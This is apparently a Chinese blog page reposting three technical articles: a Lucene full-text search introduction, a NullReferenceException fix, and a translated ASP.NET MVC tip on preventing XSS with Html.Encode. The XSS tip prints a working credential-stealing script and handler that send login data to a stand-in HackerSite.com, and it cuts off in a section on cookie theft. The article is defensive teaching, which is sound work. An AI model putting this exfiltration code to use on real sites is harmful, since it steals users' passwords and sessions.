[搜索引擎]Lucene:基于Java的全文检索引擎简介

mikel阅读(679)

Lucene:基于Java的全文检索引擎简介


Lucene是一个基于Java的全文索引工具包。

  1. 基于Java的全文索引引擎Lucene简介:关于作者和Lucene的历史
  2. 全文检索的实现:Luene全文索引和数据库索引的比较
  3. 中文切分词机制简介:基于词库和自动切分词算法的比较
  4. 具体的安装和使用简介:系统结构介绍和演示
  5. Hacking Lucene:简化的查询分析器,删除的实现,定制的排序,应用接口的扩展
  6. 从Lucene我们还可以学到什么

基于Java的全文索引/检索引擎——Lucene

Lucene不是一个完整的全文索引应用,而是是一个用Java写的全文索引引擎工具包,它可以方便的嵌入到各种应用中实现针对应用的全文索引/检索功能。

Lucene的作者:Lucene的贡献者Doug Cutting是 一位资深全文索引/检索专家,曾经是V-Twin搜索引擎(Apple的Copland操作系统的成就之一)的主要开发者,后在Excite担任高级系统 架构设计师,目前从事于一些INTERNET底层架构的研究。他贡献出的Lucene的目标是为各种中小型应用程序加入全文检索功能。

Lucene的发展历程:早先发布在作者自己的www.lucene.com,后来发布在SourceForge,2001年年底成为APACHE基金会jakarta的一个子项目:http://jakarta.apache.org/lucene/

已经有很多Java项目都使用了Lucene作为其后台的全文索引引擎,比较著名的有:

  • Jive:WEB论坛系统;
  • Eyebrows:邮件列表HTML归档/浏览/查询系统,本文的主要参考文档“TheLucene search engine: Powerful, flexible, and free”作者就是EyeBrows系统的主要开发者之一,而EyeBrows已经成为目前APACHE项目的主要邮件列表归档系统。
  • Cocoon:基于XML的web发布框架,全文检索部分使用了Lucene
  • Eclipse:基于Java的开放开发平台,帮助部分的全文索引使用了Lucene

对于中文用户来说,最关心的问题是其是否支持中文的全文检索。但通过后面对于Lucene的结构的介绍,你会了解到由于Lucene良好架构设计,对中文的支持只需对其语言词法分析接口进行扩展就能实现对中文检索的支持。

全文检索的实现机制

Lucene的API接口设计的比较通用,输入输出结构都很像数据库的表==>记录==>字段,所以很多传统的应用的文件、数据库等都可以比较方便的映射到Lucene的存储结构/接口中。总体上看:可以先把Lucene当成一个支持全文索引的数据库系统

比较一下Lucene和数据库:

Lucene 数据库
索引数据源:doc(field1,field2...) doc(field1,field2...)
\  indexer /
_____________
| Lucene Index|
--------------
/ searcher \
结果输出:Hits(doc(field1,field2) doc(field1...))
 索引数据源:record(field1,field2...) record(field1..)
\  SQL: insert/
_____________
| DB  Index   |
-------------
/ SQL: select \
结果输出:results(record(field1,field2..) record(field1...))
Document:一个需要进行索引的“单元”
一个Document由多个字段组成
Record:记录,包含多个字段
Field:字段 Field:字段
Hits:查询结果集,由匹配的Document组成 RecordSet:查询结果集,由多个Record组成

全文检索 ≠ like "%keyword%"

通常比较厚的书籍后面常常附关键词索引表(比如:北京:12, 34页, 上海:3,77页……),它能够帮助读者比较快地找到相关内容的页码。而数据库索引能够大大提高查询的速度原理也是一样,想像一下通过书后面的索引查找的速度要比一页一页地翻内容高多少倍……而索引之所以效率高,另外一个原因是它是排好序的。对于检索系统来说核心是一个排序问题

由于数据库索引不是为全文索引设计的,因此,使用like "%keyword%"时,数据库索引是不起作用的,在使用like查询时,搜索过程又变成类似于一页页翻书的遍历过程了,所以对于含有模糊查询的数据库服务来说,LIKE对性能的危害是极大的。如果是需要对多个关键词进行模糊匹配:like"%keyword1%" and like "%keyword2%" …其效率也就可想而知了。

所以建立一个高效检索系统的关键是建立一个类似于科技索引一样的反向索引机制,将数据源(比如多篇文章)排序顺序存储的同时,有另外一个排好序的关 键词列表,用于存储关键词==>文章映射关系,利用这样的映射关系索引:[关键词==>出现关键词的文章编号,出现次数(甚至包括位置:起始 偏移量,结束偏移量),出现频率],检索过程就是把模糊查询变成多个可以利用索引的精确查询的逻辑组合的过程。从而大大提高了多关键词查询的效率,所以,全文检索问题归结到最后是一个排序问题。

由此可以看出模糊查询相对数据库的精确查询是一个非常不确定的问题,这也是大部分数据库对全文检索支持有限的原因。Lucene最核心的特征是通过特殊的索引结构实现了传统数据库不擅长的全文索引机制,并提供了扩展接口,以方便针对不同应用的定制。

可以通过一下表格对比一下数据库的模糊查询:

  Lucene全文索引引擎 数据库
索引 将数据源中的数据都通过全文索引一一建立反向索引 对于LIKE查询来说,数据传统的索引是根本用不上的。数据需要逐个便利记录进行GREP式的模糊匹配,比有索引的搜索速度要有多个数量级的下降。
匹配效果 通过词元(term)进行匹配,通过语言分析接口的实现,可以实现对中文等非英语的支持。 使用:like "%net%" 会把netherlands也匹配出来,
多个关键词的模糊匹配:使用like "%com%net%":就不能匹配词序颠倒的xxx.net..xxx.com
匹配度 有匹配度算法,将匹配程度(相似度)比较高的结果排在前面。 没有匹配程度的控制:比如有记录中net出现5词和出现1次的,结果是一样的。
结果输出 通过特别的算法,将最匹配度最高的头100条结果输出,结果集是缓冲式的小批量读取的。 返回所有的结果集,在匹配条目非常多的时候(比如上万条)需要大量的内存存放这些临时结果集。
可定制性 通过不同的语言分析接口实现,可以方便的定制出符合应用需要的索引规则(包括对中文的支持) 没有接口或接口复杂,无法定制
结论 高负载的模糊查询应用,需要负责的模糊查询的规则,索引的资料量比较大 使用率低,模糊匹配规则简单或者需要模糊查询的资料量少

全文检索和数据库应用最大的不同在于:让最相关的头100条结果满足98%以上用户的需求

Lucene的创新之处:

大部分的搜索(数据库)引擎都是用B树结构来维护索引,索引的更新会导致大量的IO操作,Lucene在实现中,对此稍微有所改进:不是维护一个索 引文件,而是在扩展索引的时候不断创建新的索引文件,然后定期的把这些新的小索引文件合并到原先的大索引中(针对不同的更新策略,批次的大小可以调整), 这样在不影响检索的效率的前提下,提高了索引的效率。

Lucene和其他一些全文检索系统/应用的比较:

  Lucene 其他开源全文检索系统
增量索引和批量索引 可以进行增量的索引(Append),可以对于大量数据进行批量索引,并且接口设计用于优化批量索引和小批量的增量索引。 很多系统只支持批量的索引,有时数据源有一点增加也需要重建索引。
数据源 Lucene没有定义具体的数据源,而是一个文档的结构,因此可以非常灵活的适应各种应用(只要前端有合适的转换器把数据源转换成相应结构), 很多系统只针对网页,缺乏其他格式文档的灵活性。
索引内容抓取 Lucene的文档是由多个字段组成的,甚至可以控制那些字段需要进行索引,那些字段不需要索引,近一步索引的字段也分为需要分词和不需要分词的类型:
   需要进行分词的索引,比如:标题,文章内容字段
   不需要进行分词的索引,比如:作者/日期字段
缺乏通用性,往往将文档整个索引了
语言分析 通过语言分析器的不同扩展实现:
可以过滤掉不需要的词:an the of 等,
西文语法分析:将jumps jumped jumper都归结成jump进行索引/检索
非英文支持:对亚洲语言,阿拉伯语言的索引支持
缺乏通用接口实现
查询分析 通过查询分析接口的实现,可以定制自己的查询语法规则:
比如: 多个关键词之间的 + – and or关系等
 
并发访问 能够支持多用户的使用  

 

关于亚洲语言的的切分词问题(Word Segment)

对于中文来说,全文索引首先还要解决一个语言分析的问题,对于英文来说,语句中单词之间是天然通过空格分开的,但亚洲语言的中日韩文语句中的字是一个字挨一个,所有,首先要把语句中按“词”进行索引的话,这个词如何切分出来就是一个很大的问题。

首先,肯定不能用单个字符作(si-gram)为索引单元,否则查“上海”时,不能让含有“海上”也匹配。

但一句话:“北京天安门”,计算机如何按照中文的语言习惯进行切分呢?
“北京 天安门” 还是“北 京 天安门”?让计算机能够按照语言习惯进行切分,往往需要机器有一个比较丰富的词库才能够比较准确的识别出语句中的单词。

另外一个解决的办法是采用自动切分算法:将单词按照2元语法(bigram)方式切分出来,比如:
"北京天安门" ==> "北京 京天 天安 安门"。

这样,在查询的时候,无论是查询"北京" 还是查询"天安门",将查询词组按同样的规则进行切分:"北京","天安安门",多个关键词之间按与"and"的关系组合,同样能够正确地映射到相应的索引中。这种方式对于其他亚洲语言:韩文,日文都是通用的。

基于自动切分的最大优点是没有词表维护成本,实现简单,缺点是索引效率低,但对于中小型应用来说,基于2元语法的切分还是够用的。基于2元切分后的索引一般大小和源文件差不多,而对于英文,索引文件一般只有原文件的30%-40%不同,

自动切分 词表切分
实现 实现非常简单 实现复杂
查询 增加了查询分析的复杂程度, 适于实现比较复杂的查询语法规则
存储效率 索引冗余大,索引几乎和原文一样大 索引效率高,为原文大小的30%左右
维护成本 无词表维护成本 词表维护成本非常高:中日韩等语言需要分别维护。
还需要包括词频统计等内容
适用领域 嵌入式系统:运行环境资源有限
分布式系统:无词表同步问题
多语言环境:无词表维护成本
对查询和存储效率要求高的专业搜索引擎

目前比较大的搜索引擎的语言分析算法一般是基于以上2个机制的结合。关于中文的语言分析算法,大家可以在Google查关键词"wordsegment search"能找到更多相关的资料。

安装和使用

下载:http://jakarta.apache.org/lucene/

注意:Lucene中的一些比较复杂的词法分析是用JavaCC生成的(JavaCC:JavaCompilerCompiler,纯Java的词法分析生成器),所以如果从源代码编译或需要修改其中的QueryParser、定制自己的词法分析器,还需要从https://javacc.dev.java.net/下载javacc。

lucene的组成结构:对于外部应用来说索引模块(index)和检索模块(search)是主要的外部应用入口

org.apache.Lucene.search/ 搜索入口
org.apache.Lucene.index/ 索引入口
org.apache.Lucene.analysis/ 语言分析器
org.apache.Lucene.queryParser/ 查询分析器
org.apache.Lucene.document/ 存储结构
org.apache.Lucene.store/  底层IO/存储结构
org.apache.Lucene.util/ 一些公用的数据结构

简单的例子演示一下Lucene的使用方法:

索引过程:从命令行读取文件名(多个),将文件分路径(path字段)和内容(body字段)2个字段进行存储,并对内容进行全文索引:索引的单位是 Document对象,每个Document对象包含多个字段Field对象,针对不同的字段属性和数据输出的需求,对字段还可以选择不同的索引/存储字 段规则,列表如下:

方法 切词 索引 存储 用途
Field.Text(String name, String value) Yes Yes Yes 切分词索引并存储,比如:标题,内容字段
Field.Text(String name, Reader value) Yes Yes No 切分词索引不存储,比如:META信息,
不用于返回显示,但需要进行检索内容
Field.Keyword(String name, String value) No Yes Yes 不切分索引并存储,比如:日期字段
Field.UnIndexed(String name, String value) No No Yes 不索引,只存储,比如:文件路径
Field.UnStored(String name, String value) Yes Yes No 只全文索引,不存储
public class IndexFiles {
//使用方法:: IndexFiles [索引输出目录] [索引的文件列表] ...
public static void main(String[] args) throws Exception {
String indexPath = args[0];
IndexWriter writer;
//用指定的语言分析器构造一个新的写索引器(第3个参数表示是否为追加索引)
writer = new IndexWriter(indexPath, new SimpleAnalyzer(), false);
for (int i=1; i<args.length; i++) {
System.out.println("Indexing file " + args[i]);
InputStream is = new FileInputStream(args[i]);
//构造包含2个字段Field的Document对象
//一个是路径path字段,不索引,只存储
//一个是内容body字段,进行全文索引,并存储
Document doc = new Document();
doc.add(Field.UnIndexed("path", args[i]));
doc.add(Field.Text("body", (Reader) new InputStreamReader(is)));
//将文档写入索引
writer.addDocument(doc);
is.close();
};
//关闭写索引器
writer.close();
}
}
 

索引过程中可以看到:

  • 语言分析器提供了抽象的接口,因此语言分析(Analyser)是可以定制的,虽然lucene缺省提供了2个比较通用的分析器 SimpleAnalyser和StandardAnalyser,这2个分析器缺省都不支持中文,所以要加入对中文语言的切分规则,需要修改这2个分析 器。
  • Lucene并没有规定数据源的格式,而只提供了一个通用的结构(Document对象)来接受索引的输入,因此输入的数据源可以是:数据库,WORD文档,PDF文档,HTML文档……只要能够设计相应的解析转换器将数据源构造成成Docuement对象即可进行索引。
  • 对于大批量的数据索引,还可以通过调整IndexerWrite的文件合并频率属性(mergeFactor)来提高批量索引的效率。

检索过程和结果显示:

搜索结果返回的是Hits对象,可以通过它再访问Document==>Field中的内容。

假设根据body字段进行全文检索,可以将查询结果的path字段和相应查询的匹配度(score)打印出来,

public class Search {
public static void main(String[] args) throws Exception {
String indexPath = args[0], queryString = args[1];
//指向索引目录的搜索器
Searcher searcher = new IndexSearcher(indexPath);
//查询解析器:使用和索引同样的语言分析器
Query query = QueryParser.parse(queryString, "body",
new SimpleAnalyzer());
//搜索结果使用Hits存储
Hits hits = searcher.search(query);
//通过hits可以访问到相应字段的数据和查询的匹配度
for (int i=0; i<hits.length(); i++) {
System.out.println(hits.doc(i).get("path") + "; Score: " +
hits.score(i));
};
}
}

在整个检索过程中,语言分析器,查询分析器,甚至搜索器(Searcher)都是提供了抽象的接口,可以根据需要进行定制。

Hacking Lucene

简化的查询分析器

个人感觉lucene成为JAKARTA项目后,画在了太多的时间用于调试日趋复杂QueryParser,而其中大部分是大多数用户并不很熟悉的,目前LUCENE支持的语法:

Query ::= ( Clause )*
Clause ::= ["+", "-"] [<TERM> ":"] ( <TERM> | "(" Query ")")

中间的逻辑包括:and or + – &&||等符号,而且还有"短语查询"和针对西文的前缀/模糊查询等,个人感觉对于一般应用来说,这些功能有一些华而不实,其实能够实现 目前类似于Google的查询语句分析功能其实对于大多数用户来说已经够了。所以,Lucene早期版本的QueryParser仍是比较好的选择。

添加修改删除指定记录(Document)

Lucene提供了索引的扩展机制,因此索引的动态扩展应该是没有问题的,而指定记录的修改也似乎只能通过记录的删除,然后重新加入实现。如何删除 指定的记录呢?删除的方法也很简单,只是需要在索引时根据数据源中的记录ID专门另建索引,然后利用 IndexReader.delete(Termterm)方法通过这个记录ID删除相应的Document。

根据某个字段值的排序功能

lucene缺省是按照自己的相关度算法(score)进行结果排序的,但能够根据其他字段进行结果排序是一个在LUCENE的开发邮件列表中经常 提到的问题,很多原先基于数据库应用都需要除了基于匹配度(score)以外的排序功能。而从全文检索的原理我们可以了解到,任何不基于索引的搜索过程效 率都会导致效率非常的低,如果基于其他字段的排序需要在搜索过程中访问存储字段,速度回大大降低,因此非常是不可取的。

但这里也有一个折中的解决方法:在搜索过程中能够影响排序结果的只有索引中已经存储的docID和score这2个参数,所以,基于score以外 的排序,其实可以通过将数据源预先排好序,然后根据docID进行排序来实现。这样就避免了在LUCENE搜索结果外对结果再次进行排序和在搜索过程中访 问不在索引中的某个字段值。

这里需要修改的是IndexSearcher中的HitCollector过程:

...
 scorer.score(new HitCollector() {
private float minScore = 0.0f;
public final void collect(int doc, float score) {
if (score > 0.0f &&			  // ignore zeroed buckets
(bits==null || bits.get(doc))) {	  // skip docs not in bits
totalHits[0]++;
if (score >= minScore) {
/* 原先:Lucene将docID和相应的匹配度score例入结果命中列表中:
* hq.put(new ScoreDoc(doc, score));	  // update hit queue
* 如果用doc 或 1/doc 代替 score,就实现了根据docID顺排或逆排
* 假设数据源索引时已经按照某个字段排好了序,而结果根据docID排序也就实现了
* 针对某个字段的排序,甚至可以实现更复杂的score和docID的拟合。
*/
hq.put(new ScoreDoc(doc, (float) 1/doc ));
if (hq.size() > nDocs) {		  // if hit queue overfull
hq.pop();			  // remove lowest in hit queue
minScore = ((ScoreDoc)hq.top()).score; // reset minScore
}
}
}
}
}, reader.maxDoc());

更通用的输入输出接口

虽然lucene没有定义一个确定的输入文档格式,但越来越多的人想到使用一个标准的中间格式作为Lucene的数据导入接口,然后其他数据,比如 PDF只需要通过解析器转换成标准的中间格式就可以进行数据索引了。这个中间格式主要以XML为主,类似实现已经不下4,5个:

数据源: WORD       PDF     HTML    DB       other
\          |       |      |         /
XML中间格式
|
Lucene INDEX

目前还没有针对MSWord文档的解析器,因为Word文档和基于ASCII的RTF文档不同,需要使用COM对象机制解析。这个是我在Google上查的相关资料:http://www.intrinsyc.com/products/enterprise_applications.asp
另外一个办法就是把Word文档转换成text:http://www.winfield.demon.nl/index.html

索引过程优化

索引一般分2种情况,一种是小批量的索引扩展,一种是大批量的索引重建。在索引过程中,并不是每次新的DOC加入进去索引都重新进行一次索引文件的写入操作(文件I/O是一件非常消耗资源的事情)。

Lucene先在内存中进行索引操作,并根据一定的批量进行文件的写入。这个批次的间隔越大,文件的写入次数越少,但占用内存会很多。反之占用内存 少,但文件IO操作频繁,索引速度会很慢。在IndexWriter中有一个MERGE_FACTOR参数可以帮助你在构造索引器后根据应用环境的情况充 分利用内存减少文件的操作。根据我的使用经验:缺省Indexer是每20条记录索引后写入一次,每将MERGE_FACTOR增加50倍,索引速度可以 提高1倍左右。

搜索过程优化

lucene支持内存索引:这样的搜索比基于文件的I/O有数量级的速度提升。
http://www.onjava.com/lpt/a/3273
而尽可能减少IndexSearcher的创建和对搜索结果的前台的缓存也是必要的。

Lucene面向全文检索的优化在于首次索引检索后,并不把所有的记录(Document)具体内容读取出来,而起只将所有结果中匹配度最高的头 100条结果(TopDocs)的ID放到结果集缓存中并返回,这里可以比较一下数据库检索:如果是一个10,000条的数据库检索结果集,数据库是一定 要把所有记录内容都取得以后再开始返回给应用结果集的。所以即使检索匹配总数很多,Lucene的结果集占用的内存空间也不会很多。对于一般的模糊检索应 用是用不到这么多的结果的,头100条已经可以满足90%以上的检索需求。

如果首批缓存结果数用完后还要读取更后面的结果时Searcher会再次检索并生成一个上次的搜索缓存数大1倍的缓存,并再重新向后抓取。所以如果 构造一个Searcher去查1-120条结果,Searcher其实是进行了2次搜索过程:头100条取完后,缓存结果用完,Searcher重新检索 再构造一个200条的结果缓存,依此类推,400条缓存,800条缓存。由于每次Searcher对象消失后,这些缓存也访问那不到了,你有可能想将结果 记录缓存下来,缓存数尽量保证在100以下以充分利用首次的结果缓存,不让Lucene浪费多次检索,而且可以分级进行结果缓存。

Lucene的另外一个特点是在收集结果的过程中将匹配度低的结果自动过滤掉了。这也是和数据库应用需要将搜索的结果全部返回不同之处。

我的一些尝试

  • 支持中文的Tokenizer:这里有2个版本,一个是通过JavaCC生成的,对CJK部分按一个字符一个TOKEN索引,另外一个是从SimpleTokenizer改写的,对英文支持数字和字母TOKEN,对中文按迭代索引。
  • 基于XML数据源的索引器:XMLIndexer,因此所有数据源只要能够按照DTD转换成指定的XML,就可以用XMLIndxer进行索引了。
  • 根 据某个字段排序:按记录索引顺序排序结果的搜索器:IndexOrderSearcher,因此如果需要让搜索结果根据某个字段排序,可以让数据源先按某 个字段排好序(比如:PriceField),这样索引后,然后在利用这个按记录的ID顺序检索的搜索器,结果就是相当于是那个字段排序的结果了。

从Lucene学到更多

Luene的确是一个面对对象设计的典范

  • 所有的问题都通过一个额外抽象层来方便以后的扩展和重用:你可以通过重新实现来达到自己的目的,而对其他模块而不需要;
  • 简单的应用入口Searcher, Indexer,并调用底层一系列组件协同的完成搜索任务;
  • 所 有的对象的任务都非常专一:比如搜索过程:QueryParser分析将查询语句转换成一系列的精确查询的组合(Query),通过底层的索引读取结构 IndexReader进行索引的读取,并用相应的打分器给搜索结果进行打分/排序等。所有的功能模块原子化程度非常高,因此可以通过重新实现而不需要修 改其他模块。 
  • 除了灵活的应用接口设计,Lucene还提供了一些适合大多数应用的语言分析器实现(SimpleAnalyser,StandardAnalyser),这也是新用户能够很快上手的重要原因之一。

这些优点都是非常值得在以后的开发中学习借鉴的。作为一个通用工具包,Lunece的确给予了需要将全文检索功能嵌入到应用中的开发者很多的便利。

此外,通过对Lucene的学习和使用,我也更深刻地理解了为什么很多数据库优化设计中要求,比如:

  • 尽可能对字段进行索引来提高查询速度,但过多的索引会对数据库表的更新操作变慢,而对结果过多的排序条件,实际上往往也是性能的杀手之一。
  • 很多商业数据库对大批量的数据插入操作会提供一些优化参数,这个作用和索引器的merge_factor的作用是类似的,
  • 20%/80%原则:查的结果多并不等于质量好,尤其对于返回结果集很大,如何优化这头几十条结果的质量往往才是最重要的。
  • 尽可能让应用从数据库中获得比较小的结果集,因为即使对于大型数据库,对结果集的随机访问也是一个非常消耗资源的操作。

参考资料:

Apache: Lucene Project
http://jakarta.apache.org/lucene/
Lucene开发/用户邮件列表归档
Lucene-dev@jakarta.apache.org
Lucene-user@jakarta.apache.org

The Lucene search engine: Powerful, flexible, and free
http://www.javaworld.com/javaworld/jw-09-2000/jw-0915-Lucene_p.html

Lucene Tutorial
http://www.darksleep.com/puff/lucene/lucene.html

Notes on distributed searching with Lucene
http://home.clara.net/markharwood/lucene/

中文语言的切分词
http://www.google.com/search?sourceid=navclient&hl=zh-CN&q=chinese+word+segment

搜索引擎工具介绍
http://searchtools.com/

Lucene作者Cutting的几篇论文和专利
http://lucene.sourceforge.net/publications.html 

Lucene的.NET实现:dotLucene
http://sourceforge.net/projects/dotlucene/

Lucene作者Cutting的另外一个项目:基于Java的搜索引擎Nutch
http://www.nutch.org/   http://sourceforge.net/projects/nutch/

关于基于词表和N-Gram的切分词比较
http://china.nikkeibp.co.jp/cgi-bin/china/news/int/int200302100112.html
2005-01-08 Cutting在Pisa大学做的关于Lucene的讲座:非常详细的Lucene架构解说

特别感谢:
前网易CTO许良杰(Jack Xu)给我的指导:是您将我带入了搜索引擎这个行业。

[MVC]报错:“System.NullReferenceException: 未将对象引用设置到对

mikel阅读(1155)

今天在调试程序过程中,出现了如下错误提示:

System.NullReferenceException: 未将对象引用设置到对象的实例(错误代码在Session所在行)

查了好多资料,终于把问题给解决了~~~吼吼…拿来跟大家分享^_^

一个重要的知识点:

“System.NullReferenceException: 未将对象引用设置到对象的实例”问题可能原因如下:
1、ViewState 对象为Null。
2、DateSet 空。
3、SQL语句或Datebase的原因导致DataReader空。
4、声明字符串变量时未赋空值就应用变量。
5、未用new初始化对象。
6、Session对象为空
7、对控件赋文本值时,值不存在。
8、使用Request.QueryString()时,所获取的对象不存在,或在值为空时未赋初始值。
9、使用FindControl时,控件不存在却没有做预处理。
10、重复定义造成未将对象引用设置到对象的实例错误.

我的错误是第六种,Session对象为空.

错误原因:在调用 Session["userid"].ToString()   前应先检查   Session["userid"]    对象是否为   null  

在未登录的情况下, Session["userid"]  的值是null,直接用ToString()方法肯定会出错的…

我原来的代码:

protected void Page_Load(object sender, EventArgs e)
     {
             strIP = Request.UserHostAddress.ToString();
             strUserID = Session["userid"].ToString();
             strMessage = this.tbMessage.Text;
             strPostID = Request["postid"].ToString();
             strReplyTime = DateTime.Now.ToString();   
     }

改正后的代码:

protected void Page_Load(object sender, EventArgs e)
     {
        if (Session["userid"] != null && Session["postid"] != null)
        {
             strIP = Request.UserHostAddress.ToString();
             strUserID = Session["userid"].ToString();
             strMessage = this.tbMessage.Text;
             strPostID = Request["postid"].ToString();
             strReplyTime = DateTime.Now.ToString();
         }
     }

 原文地址 http://hi.baidu.com/xiong5120/blog/item/1024ff241a92f6004c088d45.html

[MVC]ASP.NET MVC Tip #7 – 使用Html.Encode避免JavaScrip

mikel阅读(975)

原文地址:http://weblogs.ASP.NET/stephenwalther/archive/2008/06/23/asp-net-mvc-tip-7-prevent-JavaScript-injection-attacks-with-html-encode.aspx

转载醒目!这里提出了一个不经常被开发人员注意的问题,JavaScript其实也是可以注入的。

摘要:在这个Tip中,你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事,并解释了如何通过一种简单的方式来防止这种攻击。

当你从站点的浏览者那里收集表单数据,并将表单数据展示给其他浏览者时,你应该对表单数据进行编码。否则,你的站点大门将为JavaScript注入攻击打开。

例如,如果你创建了一个论坛,在将消息显示到Web页面之前,请确保对其进行了编码。如果你没有对消息进行编码,某些人可能会发表一个带JavaScript的消息,做一件大大的坏事。 

在 这个Tip中,我将强调黑客可以利用JavaScript注入攻击做非常严重的事情。让我惊奇的是,关心防止JavaScript注入攻击的Web开发者 少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个 Tip中,我将向你展示黑客如何利用JavaScript注入攻击来盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。

据Wikipedia称,JavaScript注入攻击已经“超越缓冲区溢出,成为最常见的公共安全弱点。”更恐怖的是,据Wikipedia称,70%的网站向JavaScript注入攻击敞开着(http://en.wikipedia.org/wiki/Cross-site_scripting)。因此,本文读者,你们当中的70%正在犯懒并危害着你们网站的用户。羞羞!

如何通过JavaScript盗取另一个用户的密码

这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序,使用的是ASP.NET MVC

Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容,可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。

图1展示了反馈表单。

图1 – 反馈表单

注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中(Web站点的常见场景)。

由于反馈表单显示了其它客户留下的反馈,该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码:

<script src=http://HackerSite.com/EvilScript.js></script>

当该文本重新显示在反馈表单页中时,<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。

清单1 – EvilScript.js

  1. if (window.attachEvent)  
  2.      document.forms[0].attachEvent('onsubmit', fn);  
  3.    
  4. function fn(e)  
  5. {  
  6.      var userName = document.getElementById("userName").value;  
  7.      var password = document.getElementById("password").value;  
  8.      var d = new Date();  
  9.      var url = "HackerSite/EvilHandler.ashx?userName=" + userName   
  10.         + "&password=" + password + "&d=" + d.valueOf();  
  11.    
  12.      var script = document.createElement("script");  
  13.      script.type = 'text/javascript';  
  14.      script.src = url;  
  15.      document.body.appendChild( script );   

 

清 单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时,会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来,该脚本向页面中动态注入了一 个<script>标签,并将userName和password传递给一个名为EvilHandler.ashx的(可能是远程的)处理 器。

EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码,并存放在数据库中。

清单2 – EvilHandler.ashx

  1. using System;  
  2. using System.Collections;  
  3. using System.Data;  
  4. using System.Linq;  
  5. using System.Web;  
  6. using System.Web.Services;  
  7. using System.Web.Services.Protocols;  
  8. using System.Xml.Linq;  
  9.    
  10. namespace CustomerSurvey.HackerSite  
  11. {  
  12.      [WebService(Namespace = "http://tempuri.org/")]  
  13.      [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]  
  14.      public class EvilHandler : IHttpHandler  
  15.      {  
  16.    
  17.          public void ProcessRequest(HttpContext context)  
  18.          {  
  19.              // Get user name and password from URL  
  20.              string userName = context.Request.QueryString["userName"];  
  21.              string password = context.Request.QueryString["password"];  
  22.                
  23.              // Store in database  
  24.              HackerDataContext db = new HackerDataContext();  
  25.              StolenPassword pwd = new StolenPassword();  
  26.              pwd.userName = userName;  
  27.              pwd.password = password;  
  28.              db.StolenPasswords.InsertOnSubmit(pwd);  
  29.              db.SubmitChanges();  
  30.          }  
  31.    
  32.          public bool IsReusable  
  33.          {  
  34.              get 
  35.              {  
  36.                  return false;  
  37.              }  
  38.          }  
  39.      }  

假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下,黑客现在就能访问任何人的帐户信息了,并能把任何人的钱转到位于开曼群岛的帐户中。很不错,才需要这么几行代码。

ASP.NET MVC不支持请求验证

这 种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证(Request Validation)的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字,请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样 的文本,就会导致异常的抛出。

要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中,你必须完全由自己来防止JavaScript注入攻击。

防止JavaScript注入攻击

防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。

例如,下面是Index视图中用于显示用户反馈的部分代码:

  1. <h1>Customer Feedback</h1> 
  2. <ul> 
  3. <% foreach (Survey survey in ViewData.Model)  
  4.    { %> 
  5.    <li> 
  6.     <%= survey.EntryDate.ToShortDateString() %> 
  7.     &mdash;  
  8.     <%= survey.Feedback %> 
  9.    </li> 
  10. <% } %> 
  11. </ul> 

该代码包含一个循环,遍历了Suvey实体。为每个Survey实体显示了Feedback和EntryDate属性。

为了防止JavaScript注入攻击,你需要使用Html.Encode()辅助方法。下面是循环代码的正确编写方式:

  1. <h1>Customer Feedback</h1> 
  2. <ul> 
  3. <% foreach (Survey survey in ViewData.Model)  
  4.     { %> 
  5.     <li> 
  6.      <%= survey.EntryDate.ToShortDateString() %> 
  7.      &mdash;  
  8.      <%= Html.Encode(survey.Feedback) %> 
  9.     </li> 
  10. <% } %> 
  11. </ul> 

哪些内容需要编码

注意在前面的代码中,我并没有对EntryDate属性进行编码。在向页面显示EntryDate属性时无需进行编码的原因有二。

首先,EntryDate并不是由网站的访问者输入的。EntryDate属性的值是由代码生成的。黑客无法在这里注入危险代码。

假设的确是由访问者来输入EntryDate属性。由于EntryDate在SQL Server数据库中是作为DateTime类型存放的,黑客也不可能向其中注入恶意代码。因此,你无须担心是否需要对该属性进行编码。

通常,任何时候你在接受用户输入的文本内容时都要注意JavaScript注入攻击。例如,要小心地显示用户名。如果你允许用户创建属于他们自己的用户名,则用户可能偷偷地将一个恶意JavaScript字符串放在他们的用户名中(或一个指向色情图片的img标签)。

另外,小心超链接。很多blog应用程序允许匿名用户在发表评论时填写他们的网站链接。黑客可能会向链接中嵌入而已JavaScript。下面是一个简单的例子:

  1. <a href="javascript:alert('Something Evil!')">Mr. Hacker</a> 

当你单击该链接时,JavaScript就会执行。在这种情况下,没有什么恶劣的事发生。但是,你可能执行的是窃取表单数据或cookies数据的代码。

验证、会话状态和HttpOnly Cookies

你可以利用JavaScript注入攻击来窃取Cookies。例如,你将用户的信用卡号存放在一个Cookies中,然后你可以向页面中注入JavaScript,使用document.cookie DOM属性来截取信用卡号。

ASP.NET Forms Authentication和ASP.NET Session State都使用Cookie。Forms Authentication依赖于一个存放在名为.ASPXAUTH的Cookie中的验证票据(Ticket)。Session State使用一个名为ASP.NET_SessionId的Cookie。如果可以窃取这些Cookies,你就能模仿其他网站用户并且去用户的会话状 态信息。

